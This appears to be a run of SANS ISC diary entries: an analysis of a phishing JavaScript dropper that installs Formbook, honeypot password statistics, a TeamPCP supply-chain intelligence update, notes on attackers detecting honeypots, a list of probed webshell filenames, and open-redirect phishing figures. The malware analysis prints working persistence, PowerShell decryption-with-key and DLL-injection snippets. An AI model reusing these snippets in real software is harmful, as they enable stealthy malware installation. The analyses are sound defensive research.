I spotted an interesting piece of JavaScript code that was delivered via a phishing email in a RAR archive. The file was called “cbmjlzan.JS” (SHA256:a8ba9ba93b4509a86e3d7dd40fd0652c2743e32277760c5f7942b788b74c5285) and is only identified as malicious by 15 AV’s on VirusTotal[1].

The file is pretty big (10MB) and contains a copy of the AsmDB project lib[2]. The purpose is unknown.

As usual with JavaScript, the file is pretty well obfuscated and contains UTF characters (supported on Windows) but, when you scrool a bit, some code is disclosed:

The script is a Windows-flavor JavaScript and uses ActiveXObject, Microsoft.XMLDOM, ADODB.Stream. It copies itself and implements persistence (through a scheduled task):

function FDAWE(x) {
  return x.split('').reverse().join('');
}
var scriptName = WScript['ScriptName'];
var urlName = ThreeChars(scriptName) + '.url';
var publicUrl = 'C:\\Users\\Public\\' + urlName;
var copiedScript = 'C:\\Users\\Public\\Libraries\\' + scriptName;
var fso = new ActiveXObject('Scripting.FileSystemObject');
if (!fso.FileExists(copiedScript)) {
  if (LOUU...ONIA.split('').join('') === 'YESSSSSSSS') {
    fso.CopyFile(scriptName, copiedScript);
    var shell = new ActiveXObject('WScript.Shell');
    var cmd = 'cmd /c schtasks /create /sc minute /mo 15 /tn ' + scriptName + ' /tr ' + copiedScript;
    shell.Run(cmd);
  }
}

Three files are dropped in C:\Users\Public:

• Brio.png
• Orio.png
• Xrio.png

These aren’t pictures, they are used by the PowerShell script executed after implementing persistence:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Noexit -nop -c iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String((‘<__REMOVED__>'.Replace('VFHDVXDJCF','')))))

The PowerShell is even documented and has multiple purposes.

First, the file Xrio.png is processed. It contains AES encrypted data:

$inputBase64FilePath = "C:\Users\PUBLIC\Xrio.png"
$aes_var = [System.Security.Cryptography.Aes]::Create()
$aes_var.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes_var.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes_var.Key = [System.Convert]::FromBase64String('XctflJI8B7Qo2dA6FbwuHYAjjzjViSx3hThThXX1QUY=')
$aes_var.IV = [System.Convert]::FromBase64String('eb8a/RvZf2ltVDo2satMKg==')
$base64String = [System.IO.File]::ReadAllText($inputBase64FilePath)
$encryptedBytes = [System.Convert]::FromBase64String($base64String)
$memoryStream = [System.IO.MemoryStream]::new()
$memoryStream.Write($encryptedBytes, 0, $encryptedBytes.Length)
$memoryStream.Position = 0  # Reset the position for reading
$decryptor = $aes_var.CreateDecryptor()
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)
$streamReader = New-Object System.IO.StreamReader($cryptoStream)
$decryptedString = $streamReader.ReadToEnd()
$cryptoStream.Close()
$memoryStream.Close()
$streamReader.Close()
$commands = $decryptedString -split "`n"
foreach ($encodedCommand in $commands) {
   ...
}

The decrypted code will apply evasion techniques based on patching EtwEventWrite() and AmsiScanBuffer(). This is classic in many malware[3].

Then, the PowerShell script will decrypt the blob in Orio.png using the same technique. This time a PE file will be extracted (SHA256:53c3e0f8627917e8972a627b9e68adf9c21966428a85cb1c28f47cb21db3c12b)[4]. It’s a .Net DLL.

The DLL is injected in a MSBuild.exe process:

$Allohaarnppp11111111=@('file:///C:/Users/Public/Brio.png','0','','','MSBuild','','MSBuild','','','','','','7','0','','0','','','');
try{
    $Allohaarnppp111111111=$Allohaarnppp1111111111.GetType('Fiber.Program');
    $Allohaarnppp1111111=$Allohaarnppp111111111.GetMethod('Main');
    $Allohaarnppp1111111.Invoke($nUll,[object[]]$Allohaarnppp11111111)}
Catch {
}

This DLL will used the file Brio.png and extract the real malware[5]. It's another sample of Formbook.

[1] https://www.virustotal.com/gui/file/a8ba9ba93b4509a86e3d7dd40fd0652c2743e32277760c5f7942b788b74c5285/gti-summary
[2] https://github.com/MahdiSafsafi/asmdb
[3] https://isc.sans.edu/diary/Live+Patching+DLLs+with+Python/31218
[4] https://www.virustotal.com/gui/file/53c3e0f8627917e8972a627b9e68adf9c21966428a85cb1c28f47cb21db3c12b/gti-summary
[5] https://www.virustotal.com/gui/file/fdcfbb67d7e996e606963ac96a4a1b14e7070e1e88d210b2f567e3d40541b7b7/gti-summary

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

In a previous diary [1], we looked to see how numbers were used within passwords submitted to honeypots. One of the items of interest was how dates, and more specifically years, were represented within the data and how that changed over time. It is often seen that years and seasons are used in passwords, especially when password change requirements include frequenty password changes. Some examples we might see today:

• Spring2026!
• Spring26
• April2026
• April@2026
• AprilShowers26
• Bloom2026
• Easter2026!
• Passover2026

How is this data represented within passwords submitted to honeypots? Are bots updated to incorporate new year values at certain intervals? 

Date range of data: 4//21/2024 - 3/29/2026
Number of unique passwords: 496,562

Figure 1: Top 10 contiguous numbers used in passwords submitted to sample of DShield honeypots. 

 

When looking at contiguous numbers used within passwords, we see similar data from a couple of years ago. The top two contigious numbers seen within passwords submitted to honeypots were "123" and "1". However, rather than many of the other high volume contiguous numbers representing a subset of "123456", the passwords included other numbers such as "100000", "19", "69", "200".

It turns out that this activity was related to a potential DDoS or stress testing of and endpoing using ICMP. "100000" was the desired number of packets sent to the destionation host and the other numbers represented each octet of the destination IP. 

Figure 2: Passwords submitted to honeypots that were supposed to be commands run once access was gained to the honeypot.

 

The source IP %%ip:147.45.47.117%% was attempting these commands between 11/18/2024 and 11/24/2024. The activity was seen on honeypots distributed in GCP, Digital Ocean, Azure and a residential honeypot. This was not seen on samples from an AWS honeypot. 

Other activities from this source were seen between 11/14/2024 and 12/1/2024. Most of the sessions from this host are repeated attempts to download a script from %%ip:45.125.66.215%% and install it as a service. 

Figure 3: Repeated attempts to setup and install a service using a downloaded script from %%ip:45.125.66.215%%.

 

Unfortunately, the file was not downloaded by any of the honeypots, so there was not a file to reference. 

Okay, back to passwords and number usage. Let's take a look at number frequency use in the passwords submitted to honeypots.

Figure 4: Individual number frequency used within passwords submitted to honeypots. 

 

Similar to the previous review, generally the lower the number, the more frequently it's used in a password. The most common digits used are "0", "1", "2" and "3". What about 4-digit numbers?

Figure 5: Top 10 numbers used within passwords submitted to honeypots only containing 4 digits.

 

This was also similar to the previous review. "1234" is still the most common and usually the most prevelant year seen is the prior year. We do see "2026" in this list, but since there's only a few months of data, it hasn't quite hit the volume of the previous year. One of the curiousities from this data is when these years get introduced. For example, when does "2026" start getting used within a password submitted to a honeypot?

Figure 6: Heatmap of years used within passwords and when they showed up in honeypot data. 

 

Overall, it appears that 4-digit numbers representing years show up more prevalently in the year in which that data was submitted to a honeypot. From Figure 6, we see that "2025" shows up most frequently in data captured from honeypot logs in 2025. This also appears similar for "2024". An item that was surprising when looking at the data, is that there were already some hits for "2027". 

Figure 7: Passwords containing year and their volume over time, showing a small number of submissions containing "2027". 

 

Year contained in password	First seen in samples	Example password
2024	11/1/2023 (found in expanded dataset)	sysadmin2024
2025	4/5/2024	@dm1n2025
2026	5/6/2024	@2026
2027	8/11/2024	2027

Figure 8: Passwords containing recent years, when they first appeared in the dataset along with some example passwords. 

 

Most of the passwords containing what could be a year are introduced the year before. However, that may vary widely from the beginning to the end of the previous year. There are also many other "future" years seen within the dataset. 

Figure 9: Heatmap of future years used within passwords from data collection, showing "2023" was heavily used in the data collected near the end of 2024. 

 

Year contained in password	First seen in samples	Example password	Password submission source
2028	4/27/2024	020283	%%ip:27.47.108.14%%
2029	4/27/2024	220291	%%ip:27.47.108.14%%
2030	4/21/2024	1020304050	%%ip:124.220.63.230%%
2031	4/24/2024	19820313	%%ip:103.174.9.66%%
2032	4/24/2024	19820320	%%ip:103.174.9.66%%
2033	4/27/2024	110220330	%%ip:27.47.108.14%%
2034	8/11/2024	2034	%%ip:45.90.13.172%%
2035	5/5/2024	235842035	%%ip:185.161.248.247%%
2036	4/27/2024	3203672	%%ip:27.47.108.14%%
2037	8/11/2024	2037	%%ip:45.90.13.172%%
2038	4/27/2024	020384	%%ip:27.47.108.14%%
2039	4/27/2024	220391	%%ip:27.47.108.14%%
2040	4/24/2024	19820402	%%ip:103.174.9.66%%

Figure 10: Passwords containing future years, when they first appeared in the dataset along with some example passwords. 

 

In the cases where a future year is being used, the passwords likely have nothing to do with that year. However, there are a few examples that could be dates:

• 19820313: 03/13/1982
• 19820320: 03/20/1982
• 19820402: 04/02/1982

Figure 11: In most cases, the years are used at the end of the password, rather than in the middle or beginning of the password.

 

From the examples, focusing on a 4-digit number that's added to the end of a password could give us more representative examples of a number used intentionally to represent a year. Passwords containing "2027" for example, have a very different distribution on where they appear in the passwords. We see a much higher liklihood of "2027" being in a variety of locations, rather than just at the end of the password. 

There are also many numbers that could represent specific dates. 

Figure 12: Examples of numbers that could represent dates using diffrent formats. 

 

Depending on the numbers, it can be difficult to know whether numbers representing days or months come first, but can be clearly determined when a day is greater than 12 since a month cannot have a value greater than 12. Some of these dates are found in passwords that have more content, but in most cases the date alone is used as the password. Some examples:

• w@terloo19051954
• 01011958
• 25031959
• 01011960
• 17101971
• 20101971
• 24101971
• www.txwscx.comsritgyxf2sxy19831122zx
• 19831123
• 20261017
• 20261109
• 20261111

For the passwords identified as possibly having dates in a YYYYMMDD, MMDDYYYY or DDMMYYYY format (16,713), 88.9% (14,582) of them were just 8-digit numbers. It was interesting to see years from 1958 to 2026. Could this be another habit of using dates of birth or just the current day in passwords?

 

Figure 13: Top 10 years seen in passwords if numbers represent specific dates in YYYYMMDD, MMDDYYYY or DDMMYYYY formats. 

 

Figure 14: Possible distrubution of months seen in passwords if numbers represent specific dates in YYYYMMDD, MMDDYYYY or DDMMYYYY formats.

 

Figure 15: Distribution of years found within the dates identified in passwords. There is a heavy focus on dates in the 1980s.

 

Figure 16: Image showing possible "age" distributions based on different from dates seen in passwords from today. 

 

There is a high distribution of "0" year age dates. One hypothesis is that the current day is used within passwords, assuming someone changed their password that day and they used today's date. Looking at general proximity, there were around 1,000 passwords submitted that included dates close to submission date. This represents about 94% of similar passwords submitted in a proximity of 180 days from the password submission date to a honeypot. If the password submitted to a honeypot contains a date and it's close to the current date, it's probably very close. 

Figure 17: Distribution of passwords containing dates close to the date of interaction with a honeypot. 

 

I really enjoyed the heatmaps, but the largest one didn't display well in this diary. It zooms in well [2], so feel free to download it here. 

To finish things off, the most and least common passwords containing years from sample honeypot data:

Capture Year	Password
2024	ubuntu@2024
2024	postgres@2024
2024	Qwer@2024
2024	Admin@2024
2024	dev@2024
2025	2025
2025	Azerty2025
2025	P@ssw0rd@2025
2025	Itsemoemo2025@Washere2025
2025	Admin@2025
2026	2026
2026	claude2026!
2026	20262026
2026	admin2026
2026	P@ssw0rd2026

Figure 18: Most common passwords containing years from honeypot samples. 
 

Capture Year	Password
2024	bscs@2024
2024	gameserver2024
2024	dell1@2024
2024	Redis@2024
2024	redhat2024
2025	uqkxipImdQ97hzWScUrk20250402
2025	100202500200
2025	01022025
2025	12025988
2025	001002025
2026	test-2026
2026	es!2026
2026	P@ssw0rd2026~
2026	ec2-user@2026
2026	Ubuntu!2026

Figure 19: Least common passwords containing years from honeypot samples.

 

Keep years and dates, especially the current year, out of your passwords.

 

[1] https://isc.sans.edu/diary/Number+Usage+in+Passwords/30540
[2] https://www.dropbox.com/scl/fi/nl995gb6yziostxttxrol/2026-04-09_figure16.png?rlkey=mfu6oteed72ohwhae8ml9y24g&st=192holxm&dl=0

--
Jesse La Grew
Senior Handler

This is the seventh update to the TeamPCP supply chain campaign threat intelligence report, "When the Security Scanner Became the Weapon" (v3.0, March 25, 2026). Update 006 covered developments through April 3, including the CERT-EU European Commission breach disclosure, ShinyHunters' confirmation of credential sharing, Sportradar breach details, and Mandiant's quantification of 1,000+ compromised SaaS environments. This update consolidates five days of intelligence from April 3 through April 8, 2026.

HIGH: Cisco Development Environment Breached via Trivy Supply Chain, 300+ Repositories Stolen

BleepingComputer reported that threat actors leveraged credentials stolen through the Trivy supply chain compromise (%%cve:2026-33634%%) to breach Cisco's internal development environment. The attackers gained access to build systems and developer workstations through a malicious GitHub Action plugin.

The breach scope is substantial:

• Over 300 private GitHub repositories containing Cisco source code were cloned, including code for AI-powered products and unreleased items
• Customer repositories belonging to banks, business process outsourcing firms, and US government agencies were among those exfiltrated
• AWS keys were stolen and used for unauthorized activities across Cisco's cloud accounts
• Multiple threat actors were reportedly involved in the Cisco CI/CD and AWS account breaches, "with varying degrees of activity"

ShinyHunters subsequently expanded their claims beyond the development environment, alleging access to 3 million or more Salesforce records, additional GitHub repositories, and AWS S3 buckets. The claimed dataset allegedly includes records tied to personnel at FBI, DHS, DISA, IRS, and NASA, as well as the Australian Ministry of Defense and Indian government agencies. These expanded claims have not been independently verified.

ShinyHunters set an extortion deadline of approximately April 3. As of April 8, no public data dump has materialized and Cisco has not issued a public statement specifically addressing the ShinyHunters extortion claim. The deadline passage without publication, combined with CipherForce's infrastructure outage documented below, represents the second data point suggesting potential friction in the campaign's monetization pipeline.

The Cisco breach is significant because it is the highest-profile technology company confirmed as a direct victim of the Trivy supply chain compromise. The involvement of multiple threat actors in a single victim's environment is consistent with the credential-sharing pattern documented in Update 006. The theft of customer source code repositories for banks and US government agencies creates secondary exposure obligations for downstream organizations.

Recommended action: Organizations that are Cisco customers or partners, particularly those with source code or build artifacts hosted in Cisco's development infrastructure, should contact Cisco to determine whether their repositories were among those exfiltrated. Organizations using Cisco AI products should monitor for unauthorized use of stolen source code.

MEDIUM: Google GTIG Formally Designates TeamPCP as UNC6780

Google Threat Intelligence Group (GTIG) has assigned the formal tracking designation UNC6780 to TeamPCP. The designation appeared in GTIG's analysis of the axios npm supply chain attack, which attributed that separate compromise to North Korean threat actor UNC1069. In distinguishing the two campaigns, GTIG identified TeamPCP/UNC6780 as the financially motivated group responsible for the Trivy, Checkmarx, LiteLLM, and Telnyx compromises. GTIG also named TeamPCP's credential stealer payload as SANDCLOCK.

The UNC6780 designation is significant for three reasons. First, it confirms Google is formally tracking TeamPCP as a distinct, persistent threat actor rather than treating the campaign as a series of unrelated incidents. Second, UNC (uncategorized) designations in Google's taxonomy indicate the threat actor does not yet map to a known state-sponsored cluster, reinforcing the financially motivated assessment from earlier reporting. Third, the designation provides a standardized reference for cross-vendor threat intelligence sharing as multiple organizations (Mandiant, Wiz, Unit 42, Elastic, Datadog) independently track overlapping aspects of the campaign.

The Google Cloud Threat Horizons H1 2026 report also covers UNC6780. Analysts assess the formal GTIG tracking designation, combined with Mandiant's engagement on the LiteLLM forensics and their quantification of 1,000+ compromised SaaS environments, indicates Google considers UNC6780 a top-tier financially motivated threat actor.

Recommended action: Organizations using Google Chronicle, VirusTotal, or Mandiant Advantage should search for UNC6780 indicators in their environments. The SANDCLOCK designation provides a specific malware family name for detection rule authoring.

MEDIUM: CipherForce Leak Infrastructure Goes Dark as Sportradar Deadline Approaches

CipherForce's two known Tor-based leak sites remain unavailable, confirmed via ransomware tracking services. The group has not posted new victims since February 23, 2026 (a gap of 44 days). This infrastructure outage coincides with the approaching Sportradar AG data publication deadline (approximately April 10-11), which was set when CipherForce first claimed the Sportradar breach around March 26-27.

Analysts assess three possible explanations: (1) the outage may be related to the internal friction and "mole hunt" reported in Update 006, suggesting operational disruption within the TeamPCP ecosystem is affecting CipherForce's ability to maintain infrastructure; (2) the sites may have been deliberately taken offline as an operational security measure following increased law enforcement and researcher attention; or (3) the outage may be temporary and unrelated to operational factors.

The Sportradar deadline remains the key near-term indicator. If CipherForce's infrastructure returns online with published Sportradar data around April 10-11, it would confirm the group remains operationally capable despite reported infighting. If the deadline passes without publication, it may signal meaningful disruption to TeamPCP's ransomware operations. The ShinyHunters/Cisco extortion deadline lapsing on approximately April 3 without a visible data dump adds a second data point suggesting potential friction in the monetization pipeline, though negotiations may be occurring privately.

Recommended action: Organizations monitoring the Sportradar breach (particularly the 161 client organizations and third-party credential holders identified in Update 006) should continue preparing for potential data publication while noting the operational uncertainty.

MEDIUM: CISA KEV Deadline Arrives, Still No Standalone Advisory at Day 27

The CISA KEV remediation deadline for %%cve:2026-33634%% is today, April 8, 2026. Federal civilian executive branch agencies are required to have remediated under BOD 22-01. CISA has not issued a standalone advisory, emergency directive, or joint advisory with FBI/NSA specific to the TeamPCP campaign. The regulatory response gap noted in Update 004 persists at day 27 since the campaign's initial compromise.

For comparison, Singapore's Cyber Security Agency remains the only government worldwide to have issued dedicated advisories, now totaling two: AD-2026-001 (TeamPCP campaign, March 27) and AD-2026-002 (axios npm compromise). No advisories from NCSC (UK), ACSC (Australia), CCCS (Canada), or BSI (Germany) have been identified. The absence of a Five Eyes joint advisory for a campaign of this scale (1,000+ SaaS environments, a confirmed EU government breach, and active ransomware partnerships) is notable.

Recommended action: Organizations that have not yet completed remediation should treat the KEV deadline as a hard compliance checkpoint. Beyond patching Trivy to v0.69.2+, trivy-action to v0.35.0, or setup-trivy to v0.2.6, organizations must also complete credential rotation for any secrets that may have been exposed during the March 19-27 compromise window. Patching alone is insufficient without credential rotation.

MEDIUM: ShinyHunters Claims Snowflake/Anodot Breach in Parallel Operation

BleepingComputer reported on April 7 that ShinyHunters claimed responsibility for data theft from over a dozen Snowflake customers via compromised authentication tokens from Anodot, a SaaS data anomaly detection provider. ShinyHunters confirmed stealing data "from dozens of companies" and demanded ransom payments.

This breach appears to be a separate operation from the TeamPCP supply chain campaign, with the attack vector being stolen Anodot authentication tokens rather than TeamPCP-sourced credentials. However, it is operationally significant because ShinyHunters is the same group that confirmed in Update 006 they had accessed credentials from the TeamPCP trove. ShinyHunters is now running at least two concurrent campaigns: TeamPCP credential exploitation (European Commission data publication, Cisco extortion) and the Anodot/Snowflake breach. Their sustained operational tempo across multiple fronts suggests the group has significant capacity and is not constrained by any single operation.

Recommended action: Organizations using Snowflake or Anodot should follow Snowflake's guidance for affected customers. For the TeamPCP campaign specifically, this development reinforces that ShinyHunters represents an active and expanding threat vector for stolen credential monetization.

INFO: Supply Chain Pause Extends to 24 Days

No new package compromises have been reported since the Telnyx PyPI disclosure on March 27. The supply chain pause is now approximately 576 hours (24 days). No compromises in RubyGems, crates.io, or Maven Central have been reported by any source monitoring these registries. The campaign remains confined to five ecosystems: GitHub Actions, PyPI, npm, Docker Hub/GHCR, and OpenVSX.

The extended pause, now the longest since the campaign began on March 19, is consistent with the operational phase transition from supply chain compromise to credential monetization. TeamPCP/UNC6780 retains an estimated 300 GB+ of stolen credentials, and multiple groups (LAPSUS$, Vect, ShinyHunters) continue actively exploiting this material as documented in prior updates.

INFO: Campaign Receding from Daily Security News Coverage

Notably, the April 6-8 period produced no new TeamPCP-specific articles from major Tier 1 security publications (BleepingComputer, The Record, SecurityWeek, Dark Reading). The SANS ISC Stormcast episodes for April 7 and April 8 did not mention TeamPCP. This contrasts with the March 25 through April 3 period when the campaign generated daily coverage across multiple outlets.

Analysts assess this reflects the campaign transitioning from active supply chain compromise (which generates immediate news coverage) to credential monetization (which generates coverage only when specific victims are disclosed). The underlying threat has not diminished; Mandiant's assessment of 1,000+ compromised SaaS environments and an estimated 500,000 machines means the blast radius is still expanding through discovery rather than new attacks.

Watch Item Status

Watch Item	Status
Cisco development environment breach	300+ repos stolen via Trivy supply chain; ShinyHunters April 3 extortion deadline passed without visible data dump; expanded claims include 3M+ Salesforce records; no Cisco public statement
Google GTIG tracking	TeamPCP formally designated UNC6780; credential stealer named SANDCLOCK
CipherForce infrastructure	OFFLINE: Both Tor leak sites unavailable for 44+ days; no new victims posted since Feb 23
Sportradar data publication deadline	IMMINENT: CipherForce deadline approximately April 10-11; leak infrastructure currently offline
CISA KEV deadline (April 8)	TODAY: Federal agencies required to have remediated under BOD 22-01; no standalone advisory at day 27
ShinyHunters operations	Running concurrent campaigns: TeamPCP credential exploitation AND Snowflake/Anodot breach (April 7); high operational tempo
TeamPCP internal friction	Infighting and "mole hunt" reported; may be connected to CipherForce infrastructure outage and lapsed extortion deadlines
Campaign blast radius	Mandiant: 1,000+ SaaS environments; organizations still discovering breaches from initial wave
Databricks official statement	Pending: No official disclosure or denial; internal investigation ongoing per Update 004
AstraZeneca confirmation or denial	No official statement: Now approximately 19 days since initial LAPSUS$ claim; data released for free after failed monetization
Additional package compromises	No new compromises: 24-day pause, longest since campaign began
CISA standalone advisory	Pending at day 27: KEV entries, FBI alert, and Singapore CSA advisories only
Expansion to RubyGems/crates.io/Maven	Not observed: No compromises reported in these registries
Law enforcement action	No public action: No arrests, indictments, or infrastructure seizures
ownCloud build restoration	Pending: Build infrastructure remains fully offline; no restoration timeline provided
Vect ransomware affiliate deployments	No confirmed mass deployments: Sportradar confirmed as joint operation; no broad affiliate activity reported

One question that often comes up when I talk about honeypots: Are attackers able to figure out if they are connected to a honeypot? The answer is pretty simple: Yes!

Most "medium interaction" honeypots, like the one we are using, are just simulating various systems. These simulations are incomplete. For example, we are using the "Cowrie" honeypot to emulate SSH and telnet servers. Once an attacker is connected, any package they are installing will appear to install. In the past, I have written about attackers attempting to install bogus packages. If the install appears to succeed, the attacker knows they are connected to a honeypot. Some attackers look for SSH artifacts, such as the number and types of ciphers supported by SSH.

Today, I noticed one attacker, (IP address %%ip:45.135.194.48%%), using another common trick: Cowrie will often allow attackers to connect "randomly". The effect is that various username and password combinations appear to work. In this case, the attacker used usernames and passwords that are highly unlikely to work. If they succeed, they know they are connected to a honeypot. Here are some of the usernames and passwords used:

username	password
admin	definitely_not_valid_creds
honeypot	indexer
honeypotter	imaginegettingindexed
xXhoneypotXx	P@ssw0rd1337!
youjustgotindexed	getindexedretard

Will we do anything to block these types of requests? Maybe... I am not sure it is important enough to "hide" honeypots. One advantage we have is that many of our honeypots are connected to home networks with dynamic IPs. As a result, any IP address list an attacker will create is somewhat ephemeral. Secondly, we are mostly interested in internet-wide scans. We are not going to detect targeted attacks or zero days. 

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Webshells remain a popular method for attackers to maintain persistence on a compromised web server. Many "arbitrary file write" and "remote code execution" vulnerabilities are used to drop small files on systems for later execution of additional payloads. The names of these files keep changing and are often chosen to "fit in" with other files. Webshells themselves are also often used by parasitic attacks to compromise a server. Sadly (?), attackers are not always selecting good passwords either. In some cases, webshells come with pre-set backdoor credentials, which may be overlooked by a less sophisticated attacker. 

I noticed first requests for a particular URL: /turkshell.php . This URL is linked to a well-known webshell. On this particular day, only four IPs were scanned for it:

20.48.232.178, 20.215.65.23, 51.12.84.116, 51.103.130.249

It is a little bit odd, but all four appear to be assigned to Microsoft. There may be an attacker targeting systems inside Microsoft's cloud environment. Or all four are used by the same (compromised?) organization.

Next, I queried our database to see which other URLs these IP addresses probed, and ended up with 287(!) hits. Here are the top 10:

 

URL	Count
/wp-content/	45
/ms-edit.php	44
/fe5.php	43
/wp-content/admin.php	39
/av.php	36
/wp-content/plugins/hellopress/wp_filemanager.php	27
/wp-content/themes/index.php	23
/k.php	23
/goods.php	23
/222.php	23

One common theme was the use of the prefix "wp-", likely to better fit in on WordPress sites. The scans also included "non-webshell" URLs like "/wp-content/plugins/hellopress/wp_filemanager.php," which may be useful for fingerprinting the site or may be vulnerable to being used as or deployed as webshells.

What should you do to protect yourself from webshells?

1. Don't have any remote code execution or file upload vulnerabilities (yes... easy to say)
2. Restrict permissions to not allow file uploads to your document root (sadly, in particular CMSs like WordPress sometimes have to be able to do so)
3. Monitor the file system for changes

What does not work (or not work very well): Scanning for specific filenames. The 287 files these four IPs looked for make a rather incomplete list. I will add it below, but please don't consider it complete. I am not even sure it is worth the effort to scan for these specific filenames. You may also get some false positives. Not every item on this list is a webshell, and some sites may use identical filenames for regular content.

/.mopj.php
/.tmb/8.php
/.tmb/a5.php
/.tmb/nano.php
/.well-known/
/.well-known/7.php
/.well-known/8.php
/.well-known/a5.php
/.well-known/f35.php
/.well-known/simple.php
/.yuf.php
//a1.php
//aa.php
//about.php
//admin.php
//admina.php
//adminfuns.php
//av.php
//cacheee.php
//cgi-bin/index.php
//edit.php
//f6.php
//fetch.php
//inputs.php
//wp-content/admin.php
//wp-content/uploads/2021/02/index.php
//wp-includes/css/dist/
//wp-includes/css/index.php
//wp-includes/js/jquery/
//wp-includes/l10n/
//wp-mter.php
//xwpg.php
/1.php
/10.php
/100.php
/111.php
/1111.php
/1111.php?p=
/13.php
/133927/8.php
/19.php
/2.php
/2026w.php
/222.php
/2e754/a5.php
/3.php
/4.php
/403.php
/404.php
/5.php
/6.php
/66.php
/7.php
/8.php
/9.php
/a1.php
/a2.php
/a5.php
/aa.php
/aaa.php
/aaa.php?p=
/abc.php
/abcd.php
/about.php
/about2.php
/acp.php
/admin.php
/admin.php.
/admin/controller/extension/extension/ultra.php
/adminfuns.php
/administrator/7.php
/alfa.php
/alfashell.php
/aligk.php
/alpha.php
/an.php
/as.php
/ass.php
/autoload_classmap.php
/av.php
/aw.php
/axx.php
/bal.php
/bb.php
/BDKR28WP.php
/bengi.php
/bgymj.php
/bless.php
/bless4.php
/bogles.php
/bs1.php
/bthil.php
/bypltspd.php
/byrgo.php
/cabs.php
/cache.php
/cacheee.php
/cgi-bin/
/cgi-bin/7.php
/cgi-bin/8.php
/cgi-bin/a5.php
/cgi-bin/index.php
/chosen.php
/class-t.api.php
/class.php
/class19.php
/class20.php
/classwithtostring.php
/classwithtostring.php?p=
/cli/7.php
/config.php
/configPCJ/f35.php
/content.php
/control.php
/css/autoload_classmap.php
/defaults.php
/dev.php
/edit.php
/eee.php
/esp.php
/ew.php
/f35_S.php
/f35.php
/f6.php
/fe5.php
/fetch.php
/fff.php
/fi.php
/file.php
/file18.php
/file21.php
/file31.php
/file48.php
/file61.php
/fine.php
/flower.php
/ftde.php
/function/function.php
/fvvff.php
/fx.php
/g.php
/gecko-new.php
/gelay.php
/gettest.php
/ghhjh.php
/god4m.php
/goods.php
/gptsh.php
/gssdd.php
/hplfuns.php
/images/simple.php
/in.php
/includes/7.php
/index.php
/index/8.php
/index/function.php
/inege.php
/info.php
/inputs.php
/ioxi-o.php
/item.php
/jp.php
/k.php
/kbfr.php
/kj.php
/lock360.php
/makeasmtp.php
/makeasmtp.php?p=
/mari.php
/moon.php
/motu.php
/ms-edit.php
/nano.php
/new.php
/NewFile.php
/no1.php
/no18.php
/o.php
/ok.php
/ol.php
/pcp/simple.php
/plss3.php
/plugins.php
/plugins/7.php
/prv8.php
/qqa.php
/randkeyword.PhP7
/read.php
/rip.php
/s.php
/sbhu.php
/seo.php
/sf.php
/simple.php
/style.php
/swallowable.php
/system.php
/tea.php
/test1.php
/themes.php
/tinyfilemanager.php
/tinyfilemanager.php?p=
/tmp.php
/turkshell.php
/txets.php
/update/f35.php
/uploads/
/uuu.php
/vee.php
/w2025.php
/we.php
/well-known/nano.php
/wen.php
/wi.php
/wk/index.php
/wordpress/8.php
/wp-act.php
/wp-admin/8.php
/wp-admin/a.php
/wp-admin/alfa.php
/wp-admin/css/bolt.php
/wp-admin/css/colors
/wp-admin/css/colors/ectoplasm/
/wp-admin/images/
/wp-admin/js/
/wp-admin/js/fi.php
/wp-admin/js/widgets/
/wp-admin/nano.php
/wp-admin/network/index.php
/wp-admin/user/index.php
/wp-blog.php
/wp-conf.php
/wp-content/
/wp-content/8.php
/wp-content/a5.php
/wp-content/admin.php
/wp-content/plugins/core-plugin/include.php
/wp-content/plugins/hellopress/wp_filemanager.php
/wp-content/plugins/index.php
/wp-content/plugins/pwnd/as.php
/wp-content/plugins/WordPressCore/
/wp-content/themes/
/wp-content/themes/admin.php
/wp-content/themes/hideo/network.php
/wp-content/themes/index.php
/wp-content/uploads/
/wp-content/uploads/2021/02/index.php
/wp-content/uploads/index.php
/wp-good.php
/wp-includes/
/wp-includes/8.php
/wp-includes/a5.php
/wp-includes/css/dist/
/wp-includes/css/index.php?p=
/wp-includes/html-api/
/wp-includes/ID3/
/wp-includes/images/
/wp-includes/IXR/test1.php
/wp-includes/js/crop/cropper.php
/wp-includes/js/jquery/
/wp-includes/l10n/
/wp-includes/nano.php
/wp-includes/PHPMailer/
/wp-includes/Requests/src/Response/about.php
/wp-includes/SimplePie/
/wp-includes/Text/Diff/Engine/about.php
/wp-kd4xalrg7m.php
/wp-login.php
/wp-michan.php
/wp-mter.php
/wp-the.php
/wp-trackback.php
/wp-update.php
/wp.php
/wp1.php
/wpx.php
/ws.php
/x1da.php
/xa.php
/xmlrpc.php
/xmrlpc.php
/xozx.php
/xqq.php
/xwpg.php
/xwx1.php
/xx.php
/zample.php
 

 

 

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

In one of his recent diaries, Johannes discussed how open redirects are actively being sought out by threat actors[1], which made me wonder about how commonly these mechanisms are actually misused…

Although open redirect is not generally considered a high-impact vulnerability on its own, it can have multiple negative implications. Johannes already covered one in connection with OAuth flows, but another important (mis)use case for them is phishing.

The reason is quite straightforward – links pointing to legitimate domains (such as google.com) included in phishing messages may appear benign to recipients and can also evade simpler e-mail scanners and other detection mechanisms.

Even though open redirect has not been listed in OWASP Top 10 for quite some time, it is clear that attackers have never stopped looking for it or using it. If I look at traffic on almost any one of my own domains, hardly a month goes by when I don’t see attempts to identify potentially vulnerable endpoints, such as:

/out.php?link=https://domain.tld/

While these attempts are not particularly frequent, they are generally consistent.

We also continue to see open redirect used in phishing campaigns. Last year, I wrote about a campaign using a “half-open” (i.e., easily abusable) redirect mechanism on Google [2], and similar cases still seem to appear regularly.

But how regular are they, actually?

To find out, I reviewed phishing e-mails collected through my own filters and spam traps, as well as samples sent to us here at the ISC (either by our professional colleagues, or by threat actors themselves), over the first quarter of this year. Although the total sample only consisted of slightly more than 350 individual messages (and is therefore far from statistically representative), it still provided quite interesting results.

Redirect-based phishing accounted for a little over 21 % of all analyzed messages sent out over the first 3 months of 2026 – specifically for 32 % in January, 18 % in February and 16.5 % in March.

